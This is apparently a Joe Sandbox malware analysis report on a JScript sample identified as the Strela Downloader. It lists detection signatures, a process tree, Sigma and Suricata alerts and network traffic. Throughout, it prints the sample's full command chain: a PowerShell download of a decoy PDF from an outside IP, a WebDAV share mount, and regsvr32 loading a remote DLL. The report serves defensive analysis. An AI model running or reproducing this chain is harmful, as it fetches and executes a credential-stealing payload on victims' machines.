Edit tour

Windows Analysis Report
133313712272908537.js

Overview

General Information

Sample name:	133313712272908537.js
Analysis ID:	1588202
MD5:	352bbe2e69d189d8cfc739371da599de
SHA1:	5319f2701d775ace0b56325f24c59c996fe8ce65
SHA256:	539ed6886e52191759347bf9c282552ef54852090f232b9f4f2a3e7639770fad
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7316 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7400 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7452 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7856 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8048 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1620,i,6809152963061075272,15382052430642009237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7708 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7736 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7916 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7316	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7452, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7452, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ProcessId: 7316, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7736, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ProcessId: 7400, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ProcessId: 7400, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ProcessId: 7400, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ProcessId: 7400, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ProcessId: 7400, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ProcessId: 7316, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7452, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7736, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7916, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7736, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll, ProcessId: 7400, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:37:22.710526+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:37:20.525311+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 133313712272908537.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 133313712272908537.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:37:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:60025 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49705 -> 193.143.1.205:80

Source: global traffic

